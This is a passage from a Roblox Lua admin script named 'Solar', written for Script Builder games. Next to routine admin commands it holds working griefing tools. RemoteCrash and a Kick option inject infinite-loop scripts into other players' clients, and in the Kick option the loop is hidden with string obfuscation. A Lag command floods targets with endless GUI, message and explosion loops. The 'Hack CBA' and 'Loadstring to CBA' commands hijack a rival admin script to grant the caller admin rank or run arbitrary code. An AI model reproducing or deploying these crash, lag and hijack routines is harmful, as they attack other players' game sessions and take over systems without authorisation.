  698. if Plr == nil then Plr = game.Players:players()[math.random(1,#game.Players:players())] end
  699. if type(Plr) == 'userdata' then
  700. Plr = Plr
  701. elseif type(Plr) == 'string' then
  702. for _,v in pairs(game.Players:players()) do
  703. if v.Name:lower():sub(1,#Plr) == Plr:lower() then
  704. Plr = v
  705. break
  706. end
  707. end
  708. end
  709. if Text == nil then Text = "" end
  710. if Clr == nil then Clr = "Random" end
  711. local tablez = {}
  712. local T = Instance.new("Part", workspace)
  713. T.FormFactor = 'Custom'
  714. pcall(function()T.CFrame=Plr.Character.Torso.CFrame;end)
  715. T.CanCollide=false
  716. T.Locked=true
  717. T.Anchored=true
  718. T.Size=Vector3.new(2.5,2.5,2.5)
  719. T.Name="Tablet "..math.random(-99999,99999)
  720. pcall(function()
  721. if type(Clr) == "string" then
  722. if Clr == "Random" then
  723. T.BrickColor = BrickColor.random()
  724. else
  725. T.BrickColor = BrickColor.new(Clr)
  726. end
  727. elseif type(Clr) == "userdata" then
  728. T.Color = BrickColor.new(Clr).Color
  729. end
  730. end)
  731. T.Transparency=0.7
  732. T.TopSurface=0
  733. T.BottomSurface=0
  734. local S=Instance.new("SelectionBox", T)
  735. S.Adornee=T
  736. S.Color = T.BrickColor
  737. local BBG = Instance.new("BillboardGui",T)
  738. BBG.Adornee = T
  739. BBG.StudsOffset = Vector3.new(0,3,0)
  740. BBG.Size = UDim2.new(10,0,10,0)
  741. local TL = Instance.new("TextLabel", BBG)
  742. TL.Size = UDim2.new(1,0,1,0)
  743. TL.BackgroundTransparency = 1
  744. TL.TextColor = T.BrickColor
  745. TL.Text = Text
  746. TL.TextStrokeTransparency = 0
  747. TL.Font = 'Arial'
  748. TL.FontSize = "Size18"
  749. local C = Instance.new("ClickDetector", T)
  750. C.MaxActivationDistance = math.huge
  751. C.MouseClick:connect(function(p)
  752. if p.Name == Plr.Name or GetRank(p) > GetRank(Plr) then
  753. T:Destroy()
  754. for i,v in pairs(Air["Tabs"]) do
  755. if v.P.Name == T.Name then
  756. table.remove(Air["Tabs"], i)
  757. end
  758. end
  759. if OnClicked ~= nil then
  760. a,b = ypcall(function()
  761. OnClicked()
  762. end) if not a then Output(b,"Really red") end
  763. end
  764. end
  765. end)
  766. UpdateTablets()
  767. tablez.Owner = Plr
  768. tablez.P = T
  769. table.insert(Air["Tabs"], tablez)
  770. end)
  771. end
  772. function OutputAdmins(text,clr)
  773. for _,v in pairs(game.Players:players()) do
  774. if GetRank(v) > 0.1 then
  775. Output(v,text,clr)
  776. end
  777. end
  778. end
  779. function _RGB(r,g,b)
  780. return Color3.new(r/255,g/255,b/255);
  781. end;
  782.  
  783. function AddRank(name,rank,reason,color)
  784. table.insert(Air['Ranks'],{['Name'] = name, ['Rank'] = rank,['Reason'] = reason,['Color'] = color})
  785. end
  786.  
  787. function SetRank(plr, rank)
  788. if type(plr) == "userdata" then
  789. plr = plr.Name
  790. elseif type(plr) == "string" then
  791. plr = plr
  792. else
  793. plr = tostring(plr)
  794. end
  795. for _,v in pairs(Air['Ranked']) do
  796. if v['Name']:lower():sub(1,#plr) == plr:lower() then
  797. v['Rank'] = tonumber(rank)
  798. end
  799. end
  800. return
  801. end
  802. function GetReason(plr)
  803. if type(plr) == "userdata" then
  804. plr = plr.Name
  805. elseif type(plr) == "string" then
  806. plr = plr
  807. else
  808. plr = tostring(plr)
  809. end
  810. local reason = "Unknown"
  811. for _,v in pairs(Air["Ranked"]) do--If you see dis I love you :)
  812. if v["Name"]:lower():sub(1,#plr) == plr:lower() then
  813. reason = v["Reason"]
  814. end
  815. end
  816. return reason
  817. end
  818. function GetRank(plr)
  819. if type(plr) == "userdata" then
  820. plr = plr.Name
  821. elseif type(plr) == "string" then
  822. plr = plr
  823. else
  824. plr = tostring(plr)
  825. end
  826. local rank = 1
  827. for _,v in pairs(Air["Ranked"]) do
  828. if v["Name"]:lower():sub(1,#plr) == plr:lower() then
  829. rank = v["Rank"]
  830. end
  831. end
  832. return rank
  833. end
  834. function GetColor(plr)
  835. if type(plr) == "userdata" then
  836. plr = plr.Name
  837. elseif type(plr) == "string" then
  838. plr = plr
  839. else
  840. plr = tostring(plr)
  841. end
  842. local clr = "Bright green"
  843. for _,v in pairs(Air["Ranked"]) do
  844. if v["Name"]:lower():sub(1,#plr) == plr:lower() then
  845. clr = tostring(v["Color"])
  846. break
  847. end
  848. end
  849. return clr
  850. end
  851.  
  852. function Dismiss(plr)
  853. pcall(function()
  854. if type(plr) == "userdata" then
  855. plr = plr
  856. elseif type(plr) == "string" then
  857. local f = false
  858. for _,v in pairs(game.Players:players())do
  859. if v.Name:lower():sub(1,#plr) == plr:lower() then
  860. f = true
  861. plr = v
  862. break
  863. end
  864. end
  865. if f == false then
  866. OutputAdmins("Player named: "..plr.." doesn't exist","Bright red")
  867. end
  868. else
  869. return
  870. end
  871. for i,v in pairs(Air["Tabs"]) do
  872. if v.Owner == plr then
  873. v.P:Destroy()
  874. Air["Tabs"][i]=nil
  875. end
  876. end
  877. end)
  878. end
  879. function GetSplit(msg)
  880. local a = nil
  881. for i = 1,#msg do
  882. if msg:sub(i,i) == "-" then
  883. a = i+1
  884. break
  885. end
  886. end
  887. if a ~= nil then
  888. return msg:sub(a)
  889. else
  890. return nil
  891. end
  892. end
  893. function RemoteCrash(nilplayername)
  894. local chinws = false
  895. for i,v in pairs(workspace:children()) do
  896. if v.Name:find(nilplayername) ~= nil then
  897. NewLS("repeat until false", v)
  898. OutputAdmins('Attempted to crash: '..v.Name..' via Character from workspace','Really red')
  899. chinws = true
  900. end
  901. end
  902. if chinws == true then return end
  903. for i,v in pairs(game:service'NetworkServer':children()) do
  904. if v:GetPlayer() then
  905. if v:GetPlayer().Name == nilplayername then
  906. if v:GetPlayer().Character ~= nil then
  907. NewLS("repeat until false", v:GetPlayer().Character)
  908. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Character','Really red')
  909. elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then
  910. NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack')
  911. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Backpack','Really red')
  912. elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then
  913. NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui')
  914. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via PlayerGui','Really red')
  915. else
  916. NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer()))
  917. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via a Backpack Instance','Really red')
  918. end
  919. end
  920. end
  921. end
  922. end
  923.  
  924. function AddCmd(name, say, desc, args, rank, func)
  925. pcall(function()
  926. for _,v in pairs(Air["Cmds"]) do
  927. if v["Name"] == name or v["Say"] == say or v["Desc"] == desc then
  928. table.remove(Air["Cmds"], _)
  929. end
  930. end
  931. table.insert(Air["Cmds"],{["Name"] = name, ["Say"] = say, ["Desc"] = desc, ["Args"] = args, ["Rank"] = rank, ["Func"] = func})
  932. end)
  933. end
  934. function GetPlayers(plr, msg)
  935. local plrs = {}
  936. if msg == "me" then
  937. table.insert(plrs, plr)
  938. elseif msg == "all" then
  939. for _,v in pairs(game:service'Players':players()) do
  940. if GetRank(v) <= GetRank(plr) then
  941. table.insert(plrs, v)
  942. end
  943. end
  944. elseif msg == "others" then
  945. for _,v in pairs(game:service'Players':players()) do
  946. if v ~= plr then
  947. if GetRank(v) <= GetRank(plr) then
  948. table.insert(plrs, v)
  949. end
  950. end
  951. end
  952. else
  953. for _,v in pairs(game:service'Players':players()) do
  954. if v.Name:lower():sub(1,#msg) == msg:lower() then
  955. if GetRank(v) <= GetRank(plr) then
  956. table.insert(plrs, v)
  957. end
  958. end
  959. end
  960. end
  961. return plrs
  962. end
  963. function OnChatted(plr, msg)
  964. if type(plr) == 'string' then
  965. for i,v in pairs(game:service'NetworkServer':children()) do
  966. if v:GetPlayer() then
  967. if v:GetPlayer().Name == plr then
  968. plr = v:GetPlayer()
  969. end
  970. end
  971. end
  972. end
  973. if msg:sub(1,2) == '/e' then
  974. if #msg >= 4 then
  975. msg = msg:sub(4)
  976. end
  977. end
  978. for _,v in pairs(Air['Cmds']) do
  979. if msg:sub(1,#v["Say"]+#key) == v["Say"]..key then
  980. if GetRank(plr.Name) >= v["Rank"] then
  981. msg = msg:sub(#v["Say"]+#key+1)
  982. a,b = ypcall(function()
  983. v["Func"](plr, msg)
  984. end) if not a then Output(plr, b,"Really red") end
  985. else
  986. Output(plr, "Your rank is too low for that command", "Really red")
  987. end
  988. end
  989. end
  990. end
  991. function ShowAllCommands(p)
  992. pcall(function()
  993. Dismiss(p)
  994. for _,v in pairs(Air["Cmds"]) do
  995. Output(p,v["Name"], GetColor(p),
  996. function()
  997. Dismiss(p)
  998. Output(p,"Name: "..v["Name"],GetColor(p))
  999. Output(p,"Usage: "..v["Say"]..key,GetColor(p))
  1000. Output(p,"Description: "..v["Desc"],GetColor(p))
  1001. Output(p,"Arguments: "..v["Args"], GetColor(p))
  1002. Output(p,"Rank needed: "..v["Rank"], GetColor(p))
  1003. Output(p,"Back","Really red", function() ShowCommands(p) end)
  1004. Output(p,"Dismiss","Really red", function() Dismiss(p) end)
  1005. end
  1006. )
  1007. end
  1008. Output(p,"Your rank: "..GetRank(p), GetColor(p))
  1009. Output(p,'Back','Really red',function() ShowCommands(p) end)
  1010. Output(p,'Dismiss','Really red',function() Dismiss(p) end)
  1011. end)
  1012. end
  1013. function ShowCommandsFromRank(p, rank)
  1014. rank = tonumber(rank)
  1015. pcall(function()
  1016. Dismiss(p)
  1017. for i,v in pairs(Air['Cmds']) do
  1018. if v['Rank'] <= rank then
  1019. Output(p, v['Name'],GetColor(p),
  1020. function()
  1021. Dismiss(p)
  1022. Output(p,"Name: "..v["Name"],GetColor(p))
  1023. Output(p,"Usage: "..v["Say"]..key,GetColor(p))
  1024. Output(p,"Description: "..v["Desc"],GetColor(p))
  1025. Output(p,"Arguments: "..v["Args"], GetColor(p))
  1026. Output(p,"Rank needed: "..v["Rank"], GetColor(p))
  1027. Output(p,"Back","Really red", function() ShowCommandsFromRank(p,rank) end)
  1028. Output(p,"Dismiss","Really red", function() Dismiss(p) end)
  1029. end
  1030. )
  1031. end
  1032. end
  1033. Output(p,'Back','Really red', function() ShowCommands(p) end)
  1034. Output(p,'Dismiss','Really red',function() Dismiss(p) end)
  1035. end)
  1036. end
  1037. function ShowCommands(p)
  1038. pcall(function()
  1039. Dismiss(p)
  1040. Output(p,'Show commands of your rank ('..GetRank(p)..')','New Yeller',function() ShowCommandsFromRank(p, GetRank(p)) end)
  1041. for i = 0,5 do
  1042. Output(p,'Rank '..i..' commands',GetColor(p), function() ShowCommandsFromRank(p, i) end)
  1043. end
  1044. Output(p,'Show all commands',GetColor(p),function() ShowAllCommands(p) end)
  1045. Output(p,'Dismiss','Really red',function() Dismiss(p) end)
  1046. end)
  1047. end
  1048. function Connect(player)
  1049. if LSource then
  1050. if player:findFirstChild'Backpack' then
  1051. NewLS(ConnectSource, player:findFirstChild'Backpack')
  1052. elseif player.Character then
  1053. NewLS(ConnectSource, player.Character)
  1054. elseif player:findFirstChild'PlayerGui' then
  1055. NewLS(ConnectSource, player:findFirstChild'PlayerGui')
  1056. else
  1057. NewLS(ConnectSource,Instance.new('Backpack',player))
  1058. end
  1059. else
  1060. coroutine.wrap(function()
  1061. wait(1)
  1062. Connect(player)
  1063. end)()
  1064. end
  1065. end
  1066. function ChangeRank(user,plr)
  1067. plr = plr
  1068. Dismiss(user)
  1069. for i,v in pairs(Air['Ranks']) do
  1070. if GetRank(user) > tonumber(v) then
  1071. Output(user, tostring(i).." ("..tostring(v)..")",GetColor(user),
  1072. function()
  1073. Dismiss(user)
  1074. plr["Rank"] = tonumber(v)
  1075. PlayerInterface(user,plr)
  1076. end
  1077. )
  1078. end
  1079. end
  1080. Output(user,'Back','Really red',function() PlayerInterface(user,plr) end)
  1081. Output(user,'Dismiss','Really red',function() Dismiss(user) end)
  1082. end
  1083. function PlayerInterface(user, plr)
  1084. Dismiss(user)
  1085. Output(user,"Name: "..plr["Name"],GetColor(user))
  1086. Output(user,"Rank: "..plr["Rank"],GetColor(user))
  1087. Output(user,"Reason because ranked: "..plr["Reason"],GetColor(user))
  1088. Output(user,"Color: "..plr["Color"],GetColor(user))
  1089. if GetRank(user) > plr["Rank"] then
  1090. Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end)
  1091. end
  1092. Output(user,"Back","Really red",function() GetRanked(user) end)
  1093. Output(user,'Dismiss','Really red',function() Dismiss(user) end)
  1094. end
  1095. function GetRanked(user)
  1096. Dismiss(user)
  1097. for _,v in pairs(Air["Ranked"]) do
  1098. Output(user, v["Name"],v["Color"], function()
  1099. PlayerInterface(user, v)
  1100. end)
  1101. end
  1102. Output(user,'Dismiss','Really red',function() Dismiss(user) end)
  1103. end
  1104. function CreateBase()
  1105. for _,v in pairs(workspace:children()) do
  1106. if v.Name == "Base" or v.Name == "Baseplate" or v.Name == "Part" then
  1107. v:Destroy()
  1108. end
  1109. end
  1110. local a = Instance.new("Part",workspace)
  1111. a.Name = "Base"
  1112. a.Size = Vector3.new(500,.2,500)
  1113. a.Anchored = true
  1114. a.CFrame = CFrame.new(0,0,0)
  1115. a.Material = "Grass"
  1116. a.BrickColor = BrickColor.new("Dark green")
  1117. end
  1118.  
  1119.  
  1120.  
  1121. function PrivateMessage(who,towho,text)
  1122. if type(who) == 'userdata' then
  1123. pcall(function()
  1124. who = who
  1125. end)
  1126. elseif type(who) == 'string' then
  1127. for i,v in pairs(game:service'Players':players()) do
  1128. if v.Name:lower():sub(1,#who) == who:lower() then
  1129. who = v
  1130. break
  1131. end
  1132. end
  1133. else
  1134. who = tostring(who)
  1135. for i,v in pairs(game:service'Players':players()) do
  1136. if v.Name:lower():sub(1,#who) == who:lower() then
  1137. who = v
  1138. break
  1139. end
  1140. end
  1141. end
  1142. if type(towho) == 'userdata' then
  1143. pcall(function()
  1144. who = who
  1145. end)
  1146. elseif type(towho) == 'string' then
  1147. for i,v in pairs(game:service'Players':players()) do
  1148. if v.Name:lower():sub(1,#towho) == towho:lower() then
  1149. towho = v
  1150. break
  1151. end
  1152. end
  1153. else
  1154. who = tostring(who)
  1155. for i,v in pairs(game:service'Players':players()) do
  1156. if v.Name:lower():sub(1,#towho) == towho:lower() then
  1157. towho = v
  1158. break
  1159. end
  1160. end
  1161. end
  1162. if towho and towho:findFirstChild'PlayerGui' ~= nil then
  1163. local a = Instance.new("ScreenGui",towho.PlayerGui)
  1164. local b = Instance.new("Frame",a)
  1165. b.Style = 'RobloxRound'
  1166. b.Position = UDim2.new(1,0,0.4,0)
  1167. b.Size = UDim2.new(0.4,0,0.2,0)
  1168. b:TweenPosition(UDim2.new(0.3,0,0.4,0),'Out','Sine',1,true)
  1169. local c = Instance.new("TextLabel",b)
  1170. c.TextScaled = true
  1171. c.TextStrokeTransparency = 0
  1172. c.BackgroundTransparency = 1
  1173. c.Text = who.Name..' (PM): '..text
  1174. c.TextColor = BrickColor.new("Really red")
  1175. c.Size = UDim2.new(1,0,1,0)
  1176. c.Font = 'Legacy'
  1177. c.FontSize = 'Size24'
  1178. local d = Instance.new("TextButton",a)
  1179. d.Style = 2
  1180. d.Size = UDim2.new(0.1,0,0.1,0)
  1181. d.Position = UDim2.new(1.4,0,0.4,0)
  1182. d:TweenPosition(UDim2.new(0.7,0,0.4,0),'Out','Sine',1,true)
  1183. d.Text = 'Close'
  1184. d.TextColor = BrickColor.new("Really red")
  1185. d.MouseButton1Down:connect(function()
  1186. b:TweenPosition(UDim2.new(0.3,0,2.4,0),'Out','Sine',3,true)
  1187. d:TweenPosition(UDim2.new(0.7,0,2.4,0),'Out','Sine',3,true)
  1188. coroutine.wrap(function()
  1189. wait(1)
  1190. a:Destroy()
  1191. end)()
  1192. end)
  1193. end
  1194. end
  1195. RotCon = game:service'RunService'.Stepped:connect(function()
  1196. UpdateTablets()
  1197. end)
  1198. AddCmd("No CBA","ncba","Removes CBA","No args",2,
  1199. function()
  1200. local ByeCBA = Instance.new("StringValue")
  1201. ByeCBA.Parent = Workspace
  1202. ByeCBA.Name = "CBA Attachment"
  1203. ByeCBA.Value = "CBA = {};wait'';CBA.connect = {};wait'';CBA.lvls = {};wait();CBA.Parent=workspace;wait();script.Parent=workspace;script:remove()"
  1204. end
  1205. )
  1206. AddCmd("Parent CBA","pcba","Reparents a CBA admin","No args",2,
  1207. function()
  1208. local ParentCBA = Instance.new("StringValue")
  1209. ParentCBA.Parent=Workspace
  1210. ParentCBA.Name = "CBA Attachment"
  1211. ParentCBA.Value = "CBA.Parent = Workspace;wait();script.Parent = Workspace"
  1212. end
  1213. )
  1214. AddCmd('Hack CBA','hcba','Hack into CBA admin','<no arguments>',2,
  1215. function(p,m)
  1216. local HCBA = Instance.new("StringValue")
  1217. HCBA.Parent=Workspace
  1218. HCBA.Name = "CBA Attachment"
  1219. HCBA.Value = "CBA.admins[#CBA.admins+1] = {'"..p.Name.."',7}"
  1220. end
  1221. )
  1222. AddCmd('Loadstring to CBA','ltcba','Load a string into CBA','<no arguments>',2,
  1223. function(p,m)
  1224. local HCBA = Instance.new("StringValue")
  1225. HCBA.Parent=Workspace
  1226. HCBA.Name = "CBA Attachment"
  1227. HCBA.Value = m
  1228. end
  1229. )
  1230. AddCmd("Kill","kill","Kill a player","-r (respawn), -e (explode) -hr (head rename)",1,
  1231. function(p,msg)
  1232. if GetSplit(msg) == "r" then
  1233. msg = msg:gsub("-r","")
  1234. for _,v in pairs(GetPlayers(p,msg)) do
  1235. if v then
  1236. pcall(function()
  1237. v:LoadCharacter()
  1238. end)
  1239. end
  1240. end
  1241. elseif GetSplit(msg) == "e" then
  1242. msg = msg:gsub('-e','')
  1243. for _,v in pairs(GetPlayers(p,msg)) do
  1244. if v and v.Character then
  1245. pcall(function()
  1246. Instance.new("Explosion", workspace).Position = v.Character.Torso.Position
  1247. end)
  1248. end
  1249. end
  1250. elseif GetSplit(msg) == "hr" then
  1251. msg = msg:gsub('-hr','')
  1252. for _,v in pairs(GetPlayers(p,msg)) do
  1253. if v and v.Character and v.Character.Head then
  1254. pcall(function()
  1255. v.Character.Head.Name = 'lol'
  1256. end)
  1257. end
  1258. end
  1259. else
  1260. for _,v in pairs(GetPlayers(p,msg)) do
  1261. if v and v.Character then
  1262. pcall(function()
  1263. v.Character:breakJoints''
  1264. end)
  1265. end
  1266. end
  1267. end
  1268. end
  1269. )
  1270. AddCmd("Cmds","cmds","Show available commands","<no arguments>",0,
  1271. function(p)
  1272. ShowCommands(p)
  1273. end
  1274. )
  1275. AddCmd("Dismiss","dt","Dismiss current tablets","<no arguments>",-0.5,
  1276. function(p)
  1277. Dismiss(p)
  1278. end
  1279. )
  1280. AddCmd("Ping","ping","Ping something","-n (makes number of tablets with text of sub 2 or 3) -c (color, separate with \",\" (comma))",1,
  1281. function(p,msg)
  1282. if GetSplit(msg) == 'n' then
  1283. msg = msg:gsub('-n','')
  1284. if tonumber(msg:sub(2,2)) ~= nil then
  1285. num = msg:sub(1,2)
  1286. else
  1287. num = msg:sub(1,1)
  1288. end
  1289. msg = msg:sub(#num+1)
  1290. local a = tonumber(num)
  1291. if tonumber(num) < 1 then a = 1 end
  1292. if tonumber(num) > 50 then a = 50 end
  1293. for i = 1,a do
  1294. Output(p,msg)
  1295. end
  1296. elseif GetSplit(msg) == 'c' then
  1297. msg = msg:gsub('-c','')
  1298. local sep = msg:find(',')
  1299. a,b = ypcall(function()
  1300. if sep ~= nil then
  1301. Output(p,msg:sub(tonumber(sep)+1),tostring(msg:sub(1,tonumber(sep)-1)))
  1302. end
  1303. end) if not a then Output(p,b,"Really red") end
  1304. else
  1305. Output(p,msg)
  1306. end
  1307. end
  1308. )
  1309. AddCmd("Remove","cremove","Remove the script","<no arguments>",5,
  1310. function()
  1311. for _,v in pairs(ChatConnections) do
  1312. pcall(function()
  1313. v:disconnect()
  1314. end)
  1315. end
  1316. Air = nil
  1317. RotCon:disconnect()
  1318. PACon:disconnect()
  1319. function Output()
  1320. end
  1321. function Dismiss()
  1322. end
  1323. function AddCmd()
  1324. end
  1325. function GetSplit()
  1326. end
  1327. function OutputAdmins()
  1328. end
  1329. function GetPlayers()
  1330. end
  1331. function ShowCommands()
  1332. end
  1333. function OnChatted()
  1334. end
  1335. end
  1336. )
  1337. AddCmd('Base','base','Creates a baseplate',"<no arguments>",1,
  1338. function(nope,msg)
  1339. CreateBase()
  1340. end
  1341. )
  1342. AddCmd('Info','info','Gets info about the script','No arguments',0,
  1343. function(p)
  1344. Output(p,"Script Name: Solar")
  1345. Output(p,"Script Version: Generation 2, Server Sided")
  1346. Output(p,"Creators: optiplex123, aleksa12432 ")
  1347. Output(p,"Buyable: No")
  1348. Output(p,"Anti-remove: Yes")
  1349. Output(p,"Steal-protected: No way if its already leaked!")
  1350. Output(p,"You are in "..SB.."'s Script Builder!")
  1351. end
  1352. )
  1353. AddCmd("Get","g","Gets something",'-r Reset, -nc No Character, -rj Rejoin, -clr Clear, -base Base, -fps First Person View, -fcam Fixcamera, -nog NoGuis, -die/tod Kill Character',0,
  1354. function(p,m)
  1355. if GetSplit(m) =='r' then
  1356. p:LoadCharacter()
  1357. wait();
  1358. Output(p,'Got a reset!')
  1359. elseif GetSplit(m)=='rj' then
  1360. NewLS([[game:getService('TeleportService'):Teleport(game.PlaceId)]],p.Backpack)
  1361. elseif GetSplit(m)=='nc' then
  1362. p.Character = nil
  1363. elseif GetSplit(m)=='clr' then
  1364. for i,v in pairs(game:service'Workspace':children()) do
  1365. local isChar = false
  1366. pcall(function()
  1367. for j,k in pairs(game:service'Players':players()) do
  1368. if v.Name == k.Name then
  1369. isChar = true
  1370. end
  1371. end
  1372. end)
  1373. if isChar == false then
  1374. v:Destroy()
  1375. end
  1376. end
  1377. CreateBase()
  1378. Output(p,'Cleared!')
  1379. elseif GetSplit(m)=='base' then
  1380. CreateBase()
  1381. elseif GetSplit(m)=='fps' then
  1382. p.CameraMode = "LockFirstPerson"
  1383. elseif GetSplit(m)=='fcam' then
  1384. p.CameraMode = "Classic"
  1385. elseif GetSplit(m)=='nog' then --No Guis :3
  1386. for i,v in pairs(p:findFirstChild'PlayerGui':children()) do
  1387. if v.Name ~= 'SBGUI' then
  1388. v:Destroy()
  1389. end
  1390. end
  1391. elseif GetSplit(m)=='die' or GetSplit(m) == 'tod' then
  1392. p.Character:breakJoints''
  1393. end
  1394. end)
  1395. AddCmd("Clear","clr","Clears workspace","<no arguments>",2,
  1396. function(nope,m)
  1397. for i,v in pairs(workspace:children()) do
  1398. local IsChar = false
  1399. pcall(function()
  1400. for j,k in pairs(game:service'NetworkServer':children()) do
  1401. if pcall(function() k:GetPlayer() end) then
  1402. if v.Name == k:GetPlayer().Name then
  1403. IsChar = true
  1404. end
  1405. end
  1406. end
  1407. end)
  1408. if IsChar == false then
  1409. if v.Name ~= "Terrain" then
  1410. if v.ClassName ~= 'Script' then
  1411. pcall(function() v:remove() end)
  1412. end
  1413. end
  1414. else
  1415. pcall(function()
  1416. for j,k in pairs(v:children()) do
  1417. if k.ClassName ~= 'CharacterMesh' and k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then
  1418. if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then
  1419. k:Destroy()
  1420. end
  1421. end
  1422. end
  1423. end)
  1424. end
  1425. end
  1426. CreateBase()
  1427. end
  1428. )
  1429. AddCmd("Execute","exe","Execute script via loadstring","<no arguments>",5,
  1430. function(p,m)
  1431. a,b = ypcall(function()
  1432. loadstring(m)()
  1433. end) if not a then Output(p,b,"Really red") end
  1434. end
  1435. )
  1436. AddCmd("Go nil","gn","Removes your player with :remove''","No Arguments",0,
  1437. function(p)
  1438. p:remove''
  1439. end
  1440. )
  1441.  
  1442. AddCmd("ForceField","ff","Force field","-f (false)",1,
  1443. function(p,m)
  1444. if GetSplit(m) == "f" then
  1445. m = m:gsub("-f","")
  1446. for _,v in pairs(GetPlayers(p,m)) do
  1447. pcall(function()
  1448. for j,k in pairs(v.Character:children()) do
  1449. if k.ClassName == "ForceField" then
  1450. k:Destroy()
  1451. end
  1452. end
  1453. end)
  1454. end
  1455. else
  1456. for _,v in pairs(GetPlayers(p,m)) do--lol
  1457. pcall(function()
  1458. Instance.new("ForceField", v.Character)
  1459. end)
  1460. end
  1461. end
  1462. end
  1463. )
  1464. AddCmd("Lag","Lag","Lag's a player","-b BanPlayer",2,
  1465. function(p,m)
  1466. if GetSplit(m)=='-b' then
  1467. for _,v in pairs(GetPlayers(p,m)) do
  1468. if v.Backpack then
  1469. for i = 0,7 do
  1470. NewLS([[wait()
  1471. script.Parent = game:service'TeleportService'
  1472. CC = workspace.CurrentCamera
  1473. RS = game:service("RunService")
  1474. PG = game.Players.LocalPlayer.PlayerGui
  1475. C = game.Players.LocalPlayer.Character
  1476. function Lag()
  1477. coroutine.resume(coroutine.create(function()
  1478. while wait() do
  1479. M = Instance.new("Message",CC)
  1480. M.Text = tick()*math.floor(5%4*21)
  1481. H = Instance.new("Hint",CC)
  1482. H.Text = 'Get out from this place!'
  1483. SG=Instance.new("ScreenGui",PG)
  1484. FR=Instance.new("Frame",SG)
  1485. FR.Size = UDim2.new(500,500,500,500)
  1486. while wait() do
  1487. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1488. end
  1489. P=Instance.new("Part",CC)
  1490. E=Instance.new("Explosion",P)
  1491. E.BlastRadius=math.huge
  1492. E.Position=P.Position
  1493. F=Instance.new("Fire",P)
  1494. S=Instance.new("Smoke",P)
  1495. P.CFrame = CC.Focus
  1496. P.Anchored = true
  1497. P.CanCollide = false
  1498. P.AncestryChanged:connect(function()Lag()end)
  1499. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1500. end
  1501. end))
  1502. end
  1503. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack)
  1504. for i,a in pairs(Air['Ranked']) do
  1505. if a["Name"] == v.Name then
  1506. a["Rank"] = -1
  1507. end
  1508. end
  1509. end
  1510. end
  1511. end
  1512. else
  1513. for _,v in pairs(GetPlayers(p,m)) do
  1514. if v.Backpack then
  1515. for i = 0,7 do
  1516. NewLS([[wait()
  1517. script.Parent = game:service'TeleportService'
  1518. CC = workspace.CurrentCamera
  1519. RS = game:service("RunService")
  1520. PG = game.Players.LocalPlayer.PlayerGui
  1521. C = game.Players.LocalPlayer.Character
  1522. function Lag()
  1523. coroutine.resume(coroutine.create(function()
  1524. while wait() do
  1525. M = Instance.new("Message",CC)
  1526. M.Text = tick()*math.floor(5%4*21)
  1527. H = Instance.new("Hint",CC)
  1528. H.Text = 'Get out from this place!'
  1529. SG=Instance.new("ScreenGui",PG)
  1530. FR=Instance.new("Frame",SG)
  1531. FR.Size = UDim2.new(500,500,500,500)
  1532. while wait() do
  1533. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1534. end
  1535. P=Instance.new("Part",CC)
  1536. E=Instance.new("Explosion",P)
  1537. E.BlastRadius=math.huge
  1538. E.Position=P.Position
  1539. F=Instance.new("Fire",P)
  1540. S=Instance.new("Smoke",P)
  1541. P.CFrame = CC.Focus
  1542. P.Anchored = true
  1543. P.CanCollide = false
  1544. P.AncestryChanged:connect(function()Lag()end)
  1545. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1546. end
  1547. end))
  1548. end
  1549. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack)
  1550. end
  1551. end
  1552. end
  1553. end
  1554. end)
  1555.  
  1556.  
  1557. AddCmd("Kick","kick","Kick a player","-r (remove), -p (parent to nil), -c (crash) -b (ban) -rj (rejoin) -l (lag)",3,
  1558. function(p,m)
  1559. if GetSplit(m) == "r" then
  1560. m = m:gsub("-r","")
  1561. for _,v in pairs(GetPlayers(p,m)) do
  1562. pcall(function()
  1563. v:remove()
  1564. end)
  1565. end
  1566. elseif GetSplit(m) == "p" then
  1567. m=m:gsub('-p','')
  1568. for _,v in pairs(GetPlayers(p,m)) do
  1569. pcall(function()
  1570. v.Parent = nil
  1571. end)
  1572. end
  1573. elseif GetSplit(m) == "c" then
  1574. m=m:gsub('-c','')
  1575. for _,v in pairs(GetPlayers(p,m)) do
  1576. pcall(function()
  1577. NewLS(string.gsub("ArAeApAeAaAtA AuAnAtAiAlA AfAaAlAsAeA","A",""), v.Backpack)
  1578. end)
  1579. end
  1580. elseif GetSplit(m) == 'b' then
  1581. m=m:gsub('-b','')
  1582. for _,v in pairs(GetPlayers(p,m)) do
  1583. pcall(function()
  1584. v:Kick()
  1585. for i,a in pairs(Air['Ranked']) do
  1586. if a["Name"] == v.Name then
  1587. a["Rank"] = -1
  1588. end
  1589. end
  1590. end)
  1591. end
  1592. elseif GetSplit(m) == 'rj' then
  1593. m=m:gsub('-rj','')
  1594. for i,v in pairs(GetPlayers(p,m)) do
  1595. pcall(function()
  1596. NewLS("game:service\"TeleportService\":Teleport(game.PlaceId)",v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui')
  1597. end)
  1598. end
  1599. elseif GetSplit(m) == 'l' then
  1600. m=m:gsub('-l','')
  1601. for i,v in pairs(GetPlayers(p,m)) do
